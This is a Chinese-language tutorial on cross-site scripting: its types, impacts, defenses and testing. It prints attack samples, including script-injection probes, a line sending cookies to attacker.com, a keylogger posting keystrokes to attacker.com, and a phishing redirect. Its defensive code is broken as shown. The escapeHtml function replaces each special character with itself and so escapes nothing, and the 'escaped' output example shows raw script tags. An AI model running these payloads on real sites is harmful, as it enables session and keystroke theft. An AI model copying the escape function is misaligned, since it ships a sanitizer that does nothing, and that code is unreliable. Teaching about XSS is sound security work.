1. XSS漏洞概述
XSS(Cross-Site Scripting,跨站脚本攻击) 是一种安全漏洞,攻击者通过向网页注入恶意脚本(通常是JavaScript),使得这些脚本在受害者的浏览器中执行。XSS漏洞通常发生在Web应用程序未对用户输入进行适当过滤和转义的情况下。
1.1 XSS漏洞的核心特点
- 攻击方式:攻击者注入恶意脚本,受害者浏览器执行。
- 利用点:Web应用程序未正确过滤用户输入。
- 影响范围:可窃取用户Cookie、会话令牌,篡改网页内容,甚至控制用户浏览器。
2. XSS漏洞分类
XSS漏洞主要分为三类:反射型XSS、存储型XSS、DOM型XSS。
2.1 反射型XSS(Reflected XSS)
- 特点 :
- 恶意脚本来自当前HTTP请求(如URL参数)。
- 不会存储在服务器上,仅影响点击恶意链接的用户。
- 攻击流程 :
-
攻击者构造恶意URL,如:
复制
http://example.com/search?q=<script>alert('XSS')</script>
-
诱骗用户点击该URL(如通过钓鱼邮件、社交工程)。
-
服务器返回包含恶意脚本的页面,用户浏览器执行该脚本。
-
- 典型场景 :
- 搜索框、错误消息、URL参数等未过滤的输入点。
2.2 存储型XSS(Stored XSS / Persistent XSS)
- 特点 :
- 恶意脚本存储在服务器(如数据库、文件、缓存)。
- 所有访问受影响页面的用户都会执行该脚本。
- 攻击流程 :
-
攻击者提交恶意内容(如评论、留言
<script>alert('XSS')</script>
-
服务器存储该内容并返回给其他用户。
-
受害者访问该页面时,恶意脚本自动执行。
-
- 典型场景 :
- 论坛评论、用户资料、博客文章等可存储用户输入的地方。
2.3 DOM型XSS(DOM-based XSS)
- 特点 :
- 完全在客户端执行,不涉及服务器。
- 由于JavaScript动态修改DOM导致的安全问题。
- 攻击流程 :
-
攻击者构造特殊URL,如:
复制
http://example.com/#<script>alert('XSS')</script>
-
用户访问该URL,前端JavaScript解析URL并写入Dom
document.write(location.hash.substring(1));
-
恶意脚本被执行。
-
- 典型场景 :
- 使用
location.hash
、document.write
、innerHTML
等动态操作DOM的代码。
- 使用
3. XSS攻击的危害
XSS漏洞可导致多种严重安全问题:
3.1 窃取用户数据
-
盗取Cookie :攻击者可窃取用户的会话Cookie,劫持账户。
document.location='http://attacker.com/steal?cookie='+document.cookie;
-
获取表单数据 :监听
oninput
事件窃取密码。 -
读取本地存储 :访问
localStorage
、sessionStorage
。
3.2 会话劫持
- 冒充用户执行操作(如转账、修改资料)。
- 利用
XMLHttpRequest
或fetch
发送恶意请求。
3.3 网页篡改
-
修改页面内容(如插入虚假登录框)。
-
重定向到恶意网站:
window.location.href = "http://phishing-site.com";
3.4 键盘记录
-
监听
onkeypress
事件记录用户document.onkeypress = function(e) { fetch('http://attacker.com/log?key=' + e.key); };
3.5 传播蠕虫
- 自动转发恶意链接(如社交网络XSS蠕虫)。
4. XSS防御措施
4.1 输入过滤与转义
function escapeHtml(text) {
return text
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
-
JavaScript转义 :
function escapeJs(text) { return text.replace(/"/g, '\\"'); }
4.2 输出编码
- 前端框架自动转义 :
- React:默认转义
{userInput}
。 - Vue.js:
v-text
自动转义,v-html
需谨慎使用。
- React:默认转义
4.3 使用Content Security Policy (CSP)
-
限制脚本来源:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
4.4 HttpOnly Cookie
-
防止JavaScript访问
Set-Cookie: sessionId=123; HttpOnly; Secure
4.5 避免危险的DOM操作
-
避免使用
innerHTML
、document.write
,改用textContent
:element.textContent = userInput; // 安全 element.innerHTML = userInput; // 危险
5. 测试与检测XSS漏洞
5.1 手动测试
-
尝试注入基本Payload:
<script>alert(1)</script> <img src=x onerror=alert(1)>
-
检查是否被转义:
<script>alert(1)</script> <!-- 已转义 -->
5.2 自动化工具
- Burp Suite:扫描XSS漏洞。
- OWASP ZAP:自动化安全测试。
- XSS Hunter:检测存储型XSS。
6. 总结
类型 | 存储位置 | 触发方式 | 防御措施 |
---|---|---|---|
反射型XSS | URL参数 | 用户点击恶意链接 | 输入过滤、输出编码 |
存储型XSS | 数据库 | 访问受感染页面 | 严格输入验证、CSP |
DOM型XSS | 前端JS | 动态DOM操作 | 避免innerHTML 、eval |